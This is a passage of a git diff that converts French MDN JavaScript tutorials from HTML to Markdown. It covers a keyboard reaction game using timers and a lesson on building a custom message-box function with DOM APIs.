gagné !!'; - isOver = true; - } else if (e.key === "l") { - result.textContent = 'Le joueur 2 a gagné !!'; - isOver = true; +6. Ensuite, définissez une fonction `reset()`, qui remet l'application dans l'état initial nécessaire pour relancer le jeu après qu'il a été joué. Ajoutez ce qui suit au bas de votre code : + + ```js + function reset() { + btn.style.display = 'block'; + result.textContent = ''; + result.style.display = 'none'; } + ``` + +7. Bon, assez de préparation ! Il est temps de rendre le jeu jouable ! Ajoutez le bloc suivant à votre code. La fonction `start()` appelle `draw()` pour commencer à faire tourner la toupie et l'afficher dans l'interface utilisateur, cache le bouton _Start_ pour que vous ne puissiez pas perturber le jeu en le démarrant plusieurs fois simultanément, et exécute un appel `setTimeout()` qui exécute une fonction `setEndgame()` après qu'un intervalle aléatoire entre 5 et 10 secondes se soit écoulé. Le bloc suivant ajoute également un écouteur d'événements à votre bouton pour exécuter la fonction `start()` lorsqu'il est cliqué. - if (isOver) { - document.removeEventListener('keydown', keyHandler); - setTimeout(reset, 5000); + ```js + btn.addEventListener('click', start); + + function start() { + draw(); + spinnerContainer.style.display = 'block'; + btn.style.display = 'none'; + setTimeout(setEndgame, random(5000,10000)); + } + ``` + + > **Note :** Vous verrez que cet exemple appelle `setTimeout()` sans stocker la valeur de retour. (Donc, pas `let myTimeout = setTimeout(functionName, interval)`.) + > + > Cela fonctionne très bien, tant que vous n'avez pas besoin d'effacer votre intervalle/temps d'attente à un moment donné. Si vous le faites, vous devrez sauvegarder l'identifiant renvoyé ! + + Le résultat net du code précédent est que lorsque le bouton _Start_ est pressé, la toupie est affichée et les joueurs sont amenés à attendre un temps aléatoire avant d'être invités à appuyer sur leur bouton. Cette dernière partie est gérée par la fonction `setEndgame()`, que vous allez définir ensuite. + +8. Ajoutez ensuite la fonction suivante à votre code : + + ```js + function setEndgame() { + cancelAnimationFrame(rAF); + spinnerContainer.style.display = 'none'; + result.style.display = 'block'; + result.textContent = 'JOUEURS : ALLEZ-Y !!'; + + document.addEventListener('keydown', keyHandler); + + function keyHandler(e) { + let isOver = false; + console.log(e.key); + + if (e.key === "a") { + result.textContent = 'Le joueur 1 a gagné !!'; + isOver = true; + } else if (e.key === "l") { + result.textContent = 'Le joueur 2 a gagné !!'; + isOver = true; + } + + if (isOver) { + document.removeEventListener('keydown', keyHandler); + setTimeout(reset, 5000); + } + }; } - }; -}</pre> - <p>Son fonctionnement :</p> - <ol> - <li>Tout d'abord, annule l'animation de la toupie avec <a href="/fr/docs/Web/API/Window/cancelAnimationFrame"><code>cancelAnimationFrame()</code></a> (il est toujours bon de nettoyer les processus inutiles), et cache le conteneur de la toupie.</li> - <li>Ensuite, affiche le paragraphe des résultats et définissez son contenu textuel sur "JOUEURS : ALLEZ-Y !!" pour signaler aux joueurs qu'ils peuvent maintenant appuyer sur leur bouton pour gagner.</li> - <li>Attache un écouteur d'événements <a href="/fr/docs/Web/API/Document/keydown_event"><code>keydown</code></a> au document. Lorsqu'un bouton quelconque est enfoncé, la fonction <code>keyHandler()</code> est exécutée.</li> - <li>À l'intérieur de <code>keyHandler()</code>, le code inclut l'objet événement en tant que paramètre (représenté par <code>e</code>) - sa propriété <a href="/fr/docs/Web/API/KeyboardEvent/key"><code>key</code></a> contient la touche qui vient d'être pressée, et vous pouvez l'utiliser pour répondre à des pressions de touche spécifiques par des actions spécifiques.</li> - <li>Définit la variable <code>isOver</code> à false, afin que nous puissions suivre si les bonnes touches ont été pressées pour que le joueur 1 ou 2 gagne. Nous ne voulons pas que le jeu se termine lorsqu'une mauvaise touche a été pressée.</li> - <li>Enregistre <code>e.key</code> dans la console, ce qui est un moyen utile de connaître la valeur <code>key</code> des différentes touches sur lesquelles vous appuyez.</li> - <li>Lorsque <code>e.key</code> est "a", affiche un message pour dire que le joueur 1 a gagné, et lorsque <code>e.key</code> est "l", affiche un message pour dire que le joueur 2 a gagné. (<strong>Note:</strong> Cela ne fonctionnera qu'avec les minuscules a et l - si un A ou un L majuscule est soumis (la touche plus <kbd>Shift</kbd>), il est compté comme une touche différente !). Si une de ces touches a été pressée, mettez <code>isOver</code> à <code>true</code>.</li> - <li>Seulement si <code>isOver</code> est <code>true</code>, supprime l'écouteur d'événements <code>keydown</code> en utilisant <a href="/fr/docs/Web/API/EventTarget/removeEventListener"><code>removeEventListener()</code></a> de sorte qu'une fois que l'appui gagnant s'est produit, plus aucune entrée clavier n'est possible pour perturber le résultat final du jeu. Vous utilisez également <code>setTimeout()</code> pour appeler <code>reset()</code> après 5 secondes - comme expliqué précédemment, cette fonction réinitialise le jeu à son état initial afin qu'une nouvelle partie puisse être lancée.</li> - </ol> - </li> -</ol> - -<p>Voilà, c'est fait !</p> - -<div class="note"> - <p><strong>Note :</strong> Si vous êtes bloqué, consultez <a href="https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html">notre version du jeu en live</a> (voir également le <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/reaction-game.html">code source</a>).</p> -</div> - -<h2 id="conclusion">Conclusion</h2> - -<p>Voilà, tous les éléments essentiels des boucles et des intervalles asynchrones sont couverts dans un seul article. Vous trouverez ces méthodes utiles dans de nombreuses situations, mais veillez à ne pas en abuser ! Parce qu'ils s'exécutent toujours sur le processus principal, les rappels lourds et intensifs (en particulier ceux qui manipulent le DOM) peuvent vraiment ralentir une page si vous ne faites pas attention.</p> - -<p>{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}}</p> - -<h2 id="in_this_module">Dans ce module</h2> - -<ul> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Concepts">Concepts généraux de programmation asynchrone</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Introducing">Introduction au JavaScript asynchrone</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals">JavaScript asynchrone coopératif : Délais et intervalles</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Promises">Gérer les opérations asynchrones avec élégance grâce aux Promesses</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Async_await">Faciliter la programmation asynchrone avec async et await</a></li> - <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach">Choisir la bonne approche</a></li> -</ul> + ``` + + Son fonctionnement : + + 1. Tout d'abord, annule l'animation de la toupie avec [`cancelAnimationFrame()`](/fr/docs/Web/API/Window/cancelAnimationFrame) (il est toujours bon de nettoyer les processus inutiles), et cache le conteneur de la toupie. + 2. Ensuite, affiche le paragraphe des résultats et définissez son contenu textuel sur "JOUEURS : ALLEZ-Y !!" pour signaler aux joueurs qu'ils peuvent maintenant appuyer sur leur bouton pour gagner. + 3. Attache un écouteur d'événements [`keydown`](/fr/docs/Web/API/Document/keydown_event) au document. Lorsqu'un bouton quelconque est enfoncé, la fonction `keyHandler()` est exécutée. + 4. À l'intérieur de `keyHandler()`, le code inclut l'objet événement en tant que paramètre (représenté par `e`) - sa propriété [`key`](/fr/docs/Web/API/KeyboardEvent/key) contient la touche qui vient d'être pressée, et vous pouvez l'utiliser pour répondre à des pressions de touche spécifiques par des actions spécifiques. + 5. Définit la variable `isOver` à false, afin que nous puissions suivre si les bonnes touches ont été pressées pour que le joueur 1 ou 2 gagne. Nous ne voulons pas que le jeu se termine lorsqu'une mauvaise touche a été pressée. + 6. Enregistre `e.key` dans la console, ce qui est un moyen utile de connaître la valeur `key` des différentes touches sur lesquelles vous appuyez. + 7. Lorsque `e.key` est "a", affiche un message pour dire que le joueur 1 a gagné, et lorsque `e.key` est "l", affiche un message pour dire que le joueur 2 a gagné. (**Note:** Cela ne fonctionnera qu'avec les minuscules a et l - si un A ou un L majuscule est soumis (la touche plus + + <kbd>Shift</kbd> + + ), il est compté comme une touche différente !). Si une de ces touches a été pressée, mettez `isOver` à `true`. + + 8. Seulement si `isOver` est `true`, supprime l'écouteur d'événements `keydown` en utilisant [`removeEventListener()`](/fr/docs/Web/API/EventTarget/removeEventListener) de sorte qu'une fois que l'appui gagnant s'est produit, plus aucune entrée clavier n'est possible pour perturber le résultat final du jeu. Vous utilisez également `setTimeout()` pour appeler `reset()` après 5 secondes - comme expliqué précédemment, cette fonction réinitialise le jeu à son état initial afin qu'une nouvelle partie puisse être lancée. + +Voilà, c'est fait ! + +> **Note :** Si vous êtes bloqué, consultez [notre version du jeu en live](https://mdn.github.io/learning-area/javascript/asynchronous/loops-and-intervals/reaction-game.html) (voir également le [code source](https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/loops-and-intervals/reaction-game.html)). + +## Conclusion + +Voilà, tous les éléments essentiels des boucles et des intervalles asynchrones sont couverts dans un seul article. Vous trouverez ces méthodes utiles dans de nombreuses situations, mais veillez à ne pas en abuser ! Parce qu'ils s'exécutent toujours sur le processus principal, les rappels lourds et intensifs (en particulier ceux qui manipulent le DOM) peuvent vraiment ralentir une page si vous ne faites pas attention. + +{{PreviousMenuNext("Learn/JavaScript/Asynchronous/Introducing", "Learn/JavaScript/Asynchronous/Promises", "Learn/JavaScript/Asynchronous")}} + +## Dans ce module + +- [Concepts généraux de programmation asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Concepts) +- [Introduction au JavaScript asynchrone](/fr/docs/Learn/JavaScript/Asynchronous/Introducing) +- [JavaScript asynchrone coopératif : Délais et intervalles](/fr/docs/Learn/JavaScript/Asynchronous/Timeouts_and_intervals) +- [Gérer les opérations asynchrones avec élégance grâce aux Promesses](/fr/docs/Learn/JavaScript/Asynchronous/Promises) +- [Faciliter la programmation asynchrone avec async et await](/fr/docs/Learn/JavaScript/Asynchronous/Async_await) +- [Choisir la bonne approche](/fr/docs/Learn/JavaScript/Asynchronous/Choosing_the_right_approach) diff --git a/files/fr/learn/javascript/building_blocks/build_your_own_function/index.md b/files/fr/learn/javascript/building_blocks/build_your_own_function/index.md index 696c4d50d3..96c62c5ff3 100644 --- a/files/fr/learn/javascript/building_blocks/build_your_own_function/index.md +++ b/files/fr/learn/javascript/building_blocks/build_your_own_function/index.md @@ -15,61 +15,110 @@ tags: translation_of: Learn/JavaScript/Building_blocks/Build_your_own_function original_slug: Apprendre/JavaScript/Building_blocks/Build_your_own_function --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}} -<div>{{PreviousMenuNext("Learn/JavaScript/Building_blocks/Functions","Learn/JavaScript/Building_blocks/Return_values", "Learn/JavaScript/Building_blocks")}}</div> - -<p>Dans l'article précédent, nous avons traité essentiellement de la théorie. Le présent article fournira une expérience pratique. Ici vous allez mettre en pratique ces connaissances en construisant vos propres fonctions. Tout au long, nous expliquerons également quelques détails supplémentaires concernant les fonctions.</p> +Dans l'article précédent, nous avons traité essentiellement de la théorie. Le présent article fournira une expérience pratique. Ici vous allez mettre en pratique ces connaissances en construisant vos propres fonctions. Tout au long, nous expliquerons également quelques détails supplémentaires concernant les fonctions. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prérequis :</th> - <td>Savoir-faire de base, une compréhension minimale HTML et CSS, <a href="/fr/docs/Learn/JavaScript/First_steps">premiers pas en JavaScript</a>, <a href="/fr/docs/Learn/JavaScript/Building_blocks/Functions">Fonctions — blocs de code réutilisables</a>.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Fournir quelques pratiques de création de fonctions, et expliquer un peu plus les détails associés.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prérequis :</th> + <td> + Savoir-faire de base, une compréhension minimale HTML et CSS, + <a href="/fr/docs/Learn/JavaScript/First_steps" + >premiers pas en JavaScript</a + >, + <a href="/fr/docs/Learn/JavaScript/Building_blocks/Functions" + >Fonctions — blocs de code réutilisables</a + >. + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Fournir quelques pratiques de création de fonctions, et expliquer un peu + plus les détails associés. + </td> + </tr> + </tbody> </table> -<h2 id="Apprentissage_actif_Construisons_une_fonction">Apprentissage actif : Construisons une fonction</h2> +## Apprentissage actif : Construisons une fonction -<p>La fonction que nous allons construire sera nommée <code>displayMessage()</code>. Elle affichera une boîte de message personnalisée sur une page web. Elle fonctionnera comme un substitut personnalisé de la fonction <a href="/fr/docs/Web/API/Window/alert">alert()</a> du navigateur. Vous avez déjà vu cela avant, mais nous allons simplement nous rafraîchir la mémoire — essayez le code qui suit dans la console JavaScript de votre navigateur, sur n'importe quelle page que vous aimez :</p> +La fonction que nous allons construire sera nommée `displayMessage()`. Elle affichera une boîte de message personnalisée sur une page web. Elle fonctionnera comme un substitut personnalisé de la fonction [alert()](/fr/docs/Web/API/Window/alert) du navigateur. Vous avez déjà vu cela avant, mais nous allons simplement nous rafraîchir la mémoire — essayez le code qui suit dans la console JavaScript de votre navigateur, sur n'importe quelle page que vous aimez : -<pre class="brush: js">alert('This is a message');</pre> +```js +alert('This is a message'); +``` -<p>La fonction prend un seul argument en paramètre — la chaîne de caractères qui est affichée dans la boîte d'alerte. Vous pouvez essayer de varier la syntaxe de la chaîne pour modifier le message.</p> +La fonction prend un seul argument en paramètre — la chaîne de caractères qui est affichée dans la boîte d'alerte. Vous pouvez essayer de varier la syntaxe de la chaîne pour modifier le message. -<p>La fonction <a href="/fr/docs/Web/API/Window/alert">alert()</a> est assez limitée : vous pouvez modifier le message, mais vous ne pouvez pas facilement faire varier autre chose, comme la couleur, une icône, ou autre chose. Nous en construirons une qui s'avérera plus amusante.</p> +La fonction [alert()](/fr/docs/Web/API/Window/alert) est assez limitée : vous pouvez modifier le message, mais vous ne pouvez pas facilement faire varier autre chose, comme la couleur, une icône, ou autre chose. Nous en construirons une qui s'avérera plus amusante. -<div class="note"> -<p><strong>Note :</strong> Cet exemple devrait fonctionner correctement dans tous les navigateurs modernes, mais elle pourrait avoir un comportement un peu plus inattendu dans un navigateur ancien. Nous recommandons donc de faire cet exercice dans un navigateur moderne tel que Firefox, Opera, ou Chrome.</p> -</div> +> **Note :** Cet exemple devrait fonctionner correctement dans tous les navigateurs modernes, mais elle pourrait avoir un comportement un peu plus inattendu dans un navigateur ancien. Nous recommandons donc de faire cet exercice dans un navigateur moderne tel que Firefox, Opera, ou Chrome. -<h2 id="La_fonction_de_base">La fonction de base</h2> +## La fonction de base -<p>Pour commencer, mettons en place une fonction de base.</p> +Pour commencer, mettons en place une fonction de base. -<div class="note"> -<p><strong>Note :</strong> Pour les conventions de nommage des fonctions, vous devez suivre les mêmes règles que les <a href="/fr/Learn/JavaScript/First_steps/Variables#An_aside_on_variable_naming_rules">conventions de noms de variables</a>. Ce qui est bien, c'est que vous pouvez les différencier — les noms de fonctions se terminent par des parenthèses, pas les variables.</p> -</div> +> **Note :** Pour les conventions de nommage des fonctions, vous devez suivre les mêmes règles que les [conventions de noms de variables](/fr/Learn/JavaScript/First_steps/Variables#An_aside_on_variable_naming_rules). Ce qui est bien, c'est que vous pouvez les différencier — les noms de fonctions se terminent par des parenthèses, pas les variables. + +1. Commencez par faire une copie locale du fichier [function-start.html](https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-start.html). Vous pourrez voir que le code HTML est simple — l'élément body ne contient qu'un seul bouton. Nous avons également ajouté quelques règles CSS de base pour styliser la boîte de message personnalisée, et un élément {{htmlelement("script")}} pour écrire notre code JavaScript. +2. Ensuite, ajoutez le code ci-dessous à l'intérieur de l'élément `<script> `: + + ```js + function displayMessage() { + + } + ``` + + Nous commençons avec le mot-clé `function`, qui signifie que nous définissons une fonction. Celui-ci est suivi par le nom que nous voulons donner à notre fonction, des parenthèses et des accolades. Tous les paramètres que nous voulons donner à notre fonction vont à l'intérieur des parenthèses, et le code qui s'exécute lorsque nous appelons la fonction va à l'intérieur des accolades. + +3. Enfin, ajoutez le code suivant à l'intérieur des accolades : + + ```js + var html = document.querySelector('html'); -<ol> - <li>Commencez par faire une copie locale du fichier <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/functions/function-start.html">function-start.html</a>. Vous pourrez voir que le code HTML est simple — l'élément body ne contient qu'un seul bouton. Nous avons également ajouté quelques règles CSS de base pour styliser la boîte de message personnalisée, et un élément {{htmlelement("script")}} pour écrire notre code JavaScript.</li> - <li>Ensuite, ajoutez le code ci-dessous à l'intérieur de l'élément <code><script> </code>: - <pre class="brush: js">function displayMessage() { + var panel = document.createElement('div'); + panel.setAttribute('class', 'msgBox'); + html.appendChild(panel); -}</pre> - Nous commençons avec le mot-clé <code>function</code>, qui signifie que nous définissons une fonction. Celui-ci est suivi par le nom que nous voulons donner à notre fonction, des parenthèses et des accolades. Tous les paramètres que nous voulons donner à notre fonction vont à l'intérieur des parenthèses, et le code qui s'exécute lorsque nous appelons la fonction va à l'intérieur des accolades.</li> - <li>Enfin, ajoutez le code suivant à l'intérieur des accolades : - <pre class="brush: js">var html = document.querySelector('html'); + var msg = document.createElement('p'); + msg.textContent = 'This is a message box'; + panel.appendChild(msg); + var closeBtn = document.createElement('button'); + closeBtn.textContent = 'x'; + panel.appendChild(closeBtn); + + closeBtn.onclick = function() { + panel.parentNode.removeChild(panel); + } + ``` + +Étant donné qu'il y a pas mal de code à analyser, allons-y pas à pas. + +La première ligne utilise une fonction de l'API DOM appelée {{domxref("document.querySelector()")}} pour sélectionner l'élément {{htmlelement("html")}} et stocker une référence vers cet élément dans une variable appelée `html`, de façon à pouvoir l'utiliser plus tard : + +```js +var html = document.querySelector('html'); +``` + +La section suivante utilise une autre fonction de l'API DOM appelée {{domxref("Document.createElement()")}} pour créer un élément {{htmlelement("div")}} et stocker une référence vers lui dans une variable appelée `panel` (Dans la suite de l'article, nous parlerons simplement du panneau `<div>`.). Cet élément sera le conteneur extérieur de notre boîte de message. + +Puis, nous utilisons encore une autre fonction de l'API DOM appelée {{domxref("Element.setAttribute()")}} pour ajouter un attribut `class` à notre panneau qui aura pour valeur `msgBox`. Ceci rendra plus facile la mise en forme de l'élément — si vous regardez le CSS de la page, vous verrez que nous utilisons un sélecteur de classe `.msgBox` dans le but de styliser la boîte de message ainsi que son contenu. + +Finallement, nous appelons une fonction du DOM nommée {{domxref("Node.appendChild()")}} sur la variable `html` créée précédemment, qui insère un élément, en tant qu'enfant, à l'intérieur d'un autre. Nous spécifions le panneau `<div>` (panel) comme l'enfant que nous voulons ajouter à l'intérieur de l'élément `<html>`. Nous avons besoin de le faire puisque l'élément que nous avons créé ne peut pas apparaître de lui-même sur la page — nous avons besoin de préciser où le mettre. + +```js var panel = document.createElement('div'); panel.setAttribute('class', 'msgBox'); html.appendChild(panel); +``` + +Les deux sections suivantes font usage des mêmes fonctions `createElement()` et `appendChild()` que nous avons déjà vu pour créer deux nouveaux éléments — l'un {{htmlelement("p")}} et l'autre {{htmlelement("button")}} — et pour les insèrer dans la page en tant qu'enfant du panneau `<div>`. On utilise leur propriété {{domxref("Node.textContent")}} — qui représente le contenu textuel d'un élément — pour insérer un message à l'intérieur du paragraphe, ainsi qu'un 'x' à l'intérieur du bouton. Ce bouton sera cliqué / activé quand l'utilisateur voudra fermer la boîte de message. +```js var msg = document.createElement('p'); msg.textContent = 'This is a message box'; panel.appendChild(msg); @@ -77,167 +126,185 @@ panel.appendChild(msg); var closeBtn = document.createElement('button'); closeBtn.textContent = 'x'; panel.appendChild(closeBtn); +``` +Finalement, nous utilisons un gestionnaire d'évènements {{domxref("GlobalEventHandlers.onclick")}} de sorte qu'un clic sur le bouton déclenche le bout de code chargé de supprimer la totalité du panneau de la page — c'est-à-dire fermer la boîte de message. + +Le gestionnaire `onclick` est une propriété disponible sur le bouton (en fait, sur n'importe quel élément de la page) qui pourra se voir transmettre une fonction en paramètre pour spécifier quel morceau de code sera déclenché quand le bouton sera cliqué. Vous en apprendrez bien plus dans notre article sur les évènements. Nous avons passé à notre gestionnaire `onclick` une fonction anonyme, qui contient le code exécuté quand le bouton est cliqué. L'instruction définie dans la fonction utilise la fonction de l'API DOM {{domxref("Node.removeChild()")}} pour indiquer que nous tenons à supprimer un élément enfant spécifique de l'élément HTML — dans notre cas le panneau `<div>`. + +```js closeBtn.onclick = function() { panel.parentNode.removeChild(panel); -}</pre> - </li> -</ol> +} +``` -<p>Étant donné qu'il y a pas mal de code à analyser, allons-y pas à pas.</p> +Au final, l'intégralité du bloc de code génère un bloc de code HTML et l'insère dans la page, ce qui ressemble à ça : -<p>La première ligne utilise une fonction de l'API DOM appelée {{domxref("document.querySelector()")}} pour sélectionner l'élément {{htmlelement("html")}} et stocker une référence vers cet élément dans une variable appelée <code>html</code>, de façon à pouvoir l'utiliser plus tard :</p> +```html +<div class="msgBox"> + <p>This is a message box</p> + <button>x</button> +</div> +``` -<pre class="brush: js">var html = document.querySelector('html');</pre> +Ça nous a fait beaucoup de code à passer en revue — ne vous inquiétez pas trop si vous ne vous souvenez pas exactement de comment chaque instruction fonctionne ! Bien que la partie principale sur laquelle nous voulions mettre l'accent ici est la structure de la fonction et son utilisation, nous avons voulu montrer quelque chose d'intéressant pour mettre en valeur cet exemple. -<p>La section suivante utilise une autre fonction de l'API DOM appelée {{domxref("Document.createElement()")}} pour créer un élément {{htmlelement("div")}} et stocker une référence vers lui dans une variable appelée <code>panel</code> (Dans la suite de l'article, nous parlerons simplement du panneau <code><div></code>.). Cet élément sera le conteneur extérieur de notre boîte de message.</p> +## Appeler la fonction -<p>Puis, nous utilisons encore une autre fonction de l'API DOM appelée {{domxref("Element.setAttribute()")}} pour ajouter un attribut <code>class</code> à notre panneau qui aura pour valeur <code>msgBox</code>. Ceci rendra plus facile la mise en forme de l'élément — si vous regardez le CSS de la page, vous verrez que nous utilisons un sélecteur de classe <code>.msgBox</code> dans le but de styliser la boîte de message ainsi que son contenu.</p> +À présent, nous avons notre fonction définie comme il faut dans notre balise `<script>`, mais il ne se passera rien si on laisse les choses en l'état. -<p>Finallement, nous appelons une fonction du DOM nommée {{domxref("Node.appendChild()")}} sur la variable <code>html</code> créée précédemment, qui insère un élément, en tant qu'enfant, à l'intérieur d'un autre. Nous spécifions le panneau <code><div></code> (panel) comme l'enfant que nous voulons ajouter à l'intérieur de l'élément <code><html></code>. Nous avons besoin de le faire puisque l'élément que nous avons créé ne peut pas apparaître de lui-même sur la page — nous avons besoin de préciser où le mettre.</p> +1. Ajoutez la ligne suivante au-dessous de votre fonction pour l'appeler : -<pre class="brush: js">var panel = document.createElement('div'); -panel.setAttribute('class', 'msgBox'); -html.appendChild(panel);</pre> + ```js + displayMessage(); + ``` -<p>Les deux sections suivantes font usage des mêmes fonctions <code>createElement()</code> et <code>appendChild()</code> que nous avons déjà vu pour créer deux nouveaux éléments — l'un {{htmlelement("p")}} et l'autre {{htmlelement("button")}} — et pour les insèrer dans la page en tant qu'enfant du panneau <code><div></code>. On utilise leur propriété {{domxref("Node.textContent")}} — qui représente le contenu textuel d'un élément — pour insérer un message à l'intérieur du paragraphe, ainsi qu'un 'x' à l'intérieur du bouton. Ce bouton sera cliqué / activé quand l'utilisateur voudra fermer la boîte de message.</p> + Cette ligne appelle la fonction en la faisant fonctionner immédiatement. Lorsque vous enregistrez votre code et rechargez la page dans le navigateur, vous voyez la petite boîte de message apparaître immédiatement, une seule fois. Après tout, nous ne l'appelons bien qu'une fois. -<pre class="brush: js">var msg = document.createElement('p'); -msg.textContent = 'This is a message box'; -panel.appendChild(msg); +2. Maintenant, ouvrez vos outils de développement sur la page d'exemple, allez à la console JavaScript et tapez-y la ligne à nouveau, vous verrez qu'elle apparaît encore une fois ! C'est génial, nous avons maintenant une fonction réutilisable que nous pouvons appeler chaque fois que nous le voulons. -var closeBtn = document.createElement('button'); -closeBtn.textContent = 'x'; -panel.appendChild(closeBtn);</pre> + Cela dit, nous voulons probablement qu'elle apparaisse en réponse aux actions de l'utilisateur ou du système. Dans une application réelle, une telle boîte de message serait probablement appelée en réponse à de nouvelles données disponibles, si une erreur s'est produite, si l'utilisateur essaie de supprimer son profil ("Êtes vous sûr de vouloir réaliser cette action ?"), ou encore si l'utilisateur ajoute un nouveau contact et que l'opération se termine avec succès, etc. -<p>Finalement, nous utilisons un gestionnaire d'évènements {{domxref("GlobalEventHandlers.onclick")}} de sorte qu'un clic sur le bouton déclenche le bout de code chargé de supprimer la totalité du panneau de la page — c'est-à-dire fermer la boîte de message.</p> + Dans cette démo, nous faisons apparaître le message quand l'utilisateur clique sur le bouton. -<p>Le gestionnaire <code>onclick</code> est une propriété disponible sur le bouton (en fait, sur n'importe quel élément de la page) qui pourra se voir transmettre une fonction en paramètre pour spécifier quel morceau de code sera déclenché quand le bouton sera cliqué. Vous en apprendrez bien plus dans notre article sur les évènements. Nous avons passé à notre gestionnaire <code>onclick</code> une fonction anonyme, qui contient le code exécuté quand le bouton est cliqué. L'instruction définie dans la fonction utilise la fonction de l'API DOM {{domxref("Node.removeChild()")}} pour indiquer que nous tenons à supprimer un élément enfant spécifique de l'élément HTML — dans notre cas le panneau <code><div></code>.</p> +3. Supprimez la ligne précédente que vous avez ajoutée. +4. Ensuite, vous sélectionnerez le bouton et stockerez une référence vers celui-ci dans une variable. Ajoutez la ligne suivante à votre code, au-dessus de la définition de fonction : -<pre class="brush: js">closeBtn.onclick = function() { - panel.parentNode.removeChild(panel); -}</pre> - -<p>Au final, l'intégralité du bloc de code génère un bloc de code HTML et l'insère dans la page, ce qui ressemble à ça :</p> - -<pre class="brush: html"><div class="msgBox"> - <p>This is a message box</p> - <button>x</button> -</div></pre> - -<p>Ça nous a fait beaucoup de code à passer en revue — ne vous inquiétez pas trop si vous ne vous souvenez pas exactement de comment chaque instruction fonctionne ! Bien que la partie principale sur laquelle nous voulions mettre l'accent ici est la structure de la fonction et son utilisation, nous avons voulu montrer quelque chose d'intéressant pour mettre en valeur cet exemple.</p> - -<h2 id="Appeler_la_fonction">Appeler la fonction</h2> - -<p>À présent, nous avons notre fonction définie comme il faut dans notre balise <code><script></code>, mais il ne se passera rien si on laisse les choses en l'état.</p> - -<ol> - <li>Ajoutez la ligne suivante au-dessous de votre fonction pour l'appeler : - <pre class="brush: js">displayMessage();</pre> - Cette ligne appelle la fonction en la faisant fonctionner immédiatement. Lorsque vous enregistrez votre code et rechargez la page dans le navigateur, vous voyez la petite boîte de message apparaître immédiatement, une seule fois. Après tout, nous ne l'appelons bien qu'une fois.</li> - <li> - <p>Maintenant, ouvrez vos outils de développement sur la page d'exemple, allez à la console JavaScript et tapez-y la ligne à nouveau, vous verrez qu'elle apparaît encore une fois ! C'est génial, nous avons maintenant une fonction réutilisable que nous pouvons appeler chaque fois que nous le voulons.</p> - - <p>Cela dit, nous voulons probablement qu'elle apparaisse en réponse aux actions de l'utilisateur ou du système. Dans une application réelle, une telle boîte de message serait probablement appelée en réponse à de nouvelles données disponibles, si une erreur s'est produite, si l'utilisateur essaie de supprimer son profil ("Êtes vous sûr de vouloir réaliser cette action ?"), ou encore si l'utilisateur ajoute un nouveau contact et que l'opération se termine avec succès, etc.</p> - - <p>Dans cette démo, nous faisons apparaître le message quand l'utilisateur clique sur le bouton.</p> - </li> - <li>Supprimez la ligne précédente que vous avez ajoutée.</li> - <li>Ensuite, vous sélectionnerez le bouton et stockerez une référence vers celui-ci dans une variable. Ajoutez la ligne suivante à votre code, au-dessus de la définition de fonction : - <pre class="brush: js">var btn = document.querySelector('button');</pre> - </li> - <li>Enfin, ajoutez la ligne suivante à la précédente : - <pre class="brush: js">btn.onclick = displayMessage;</pre> - D'une manière similaire à notre ligne <code>closeBtn.onclick...</code> à l'intérieur de la fonction, ici, nous appelons un certain code en réponse à un clic sur un bouton. Mais dans ce cas, au lieu d'appeler une fonction anonyme contenant du code, nous appelons directement notre nom de fonction.</li> - <li>Essayez d'enregistrer et de rafraîchir la page, maintenant vous devriez voir la boîte de message s'afficher lorsque vous cliquez sur le bouton.</li> -</ol> - -<p>Vous vous demandez peut-être pourquoi nous n'avons pas inclus les parenthèses après le nom de la fonction. C'est parce que nous ne voulons pas appeler la fonction immédiatement, seulement après que le bouton aura été cliqué. Si vous modifiez la ligne pour :</p> - -<pre class="brush: js">btn.onclick = displayMessage();</pre> - -<p>Enregistrez et rafraîchissez la page, vous verrez que la boîte de message apparaît sans que le bouton ait été cliqué ! Dans ce contexte, les parenthèses sont parfois appelées "opérateur d'appel / invocation de fonction". Vous ne les utilisez que lorsque vous souhaitez exécuter la fonction immédiatement dans la portée actuelle. Dans le même ordre d'idée, le code à l'intérieur de la fonction anonyme n'est pas exécuté immédiatement, car il se trouve à l'intérieur de la portée de la fonction.</p> - -<p>Si vous avez essayé la dernière expérimentation, assurez-vous d'annuler la dernière modification avant de poursuivre.</p> - -<h2 id="Améliorer_la_fonction_à_laide_de_paramètres">Améliorer la fonction à l'aide de paramètres</h2> - -<p>En l'état, la fonction n'est pas très utile — on ne veut pas montrer le même message par défaut à chaque fois. Améliorons la en ajoutant quelques paramètres, ils permettront d'appeler la fonction avec différentes options.</p> - -<ol> - <li>Premièrement, mettons à jour la première ligne : - <pre class="brush: js">function displayMessage() {</pre> - par : - - <pre class="brush: js">function displayMessage(msgText, msgType) {</pre> - Maintenant, quand nous appelons la fonction, nous pouvons fournir deux valeurs de variables entre les parenthèses : une pour spécifier le message à afficher dans la boîte, l'autre pour le type de message.</li> - <li>Pour faire usage du premier paramètre, mettez à jour la ligne suivante à l'intérieur de votre fonction : - <pre class="brush: js">msg.textContent = 'This is a message box';</pre> - avec : - - <pre class="brush: js">msg.textContent = msgText;</pre> - </li> - <li>Vous devez maintenant mettre à jour votre appel de fonction pour inclure un texte de message mis à jour. Modifiez la ligne suivante : - <pre class="brush: js">btn.onclick = displayMessage;</pre> - par ce bloc : - - <pre 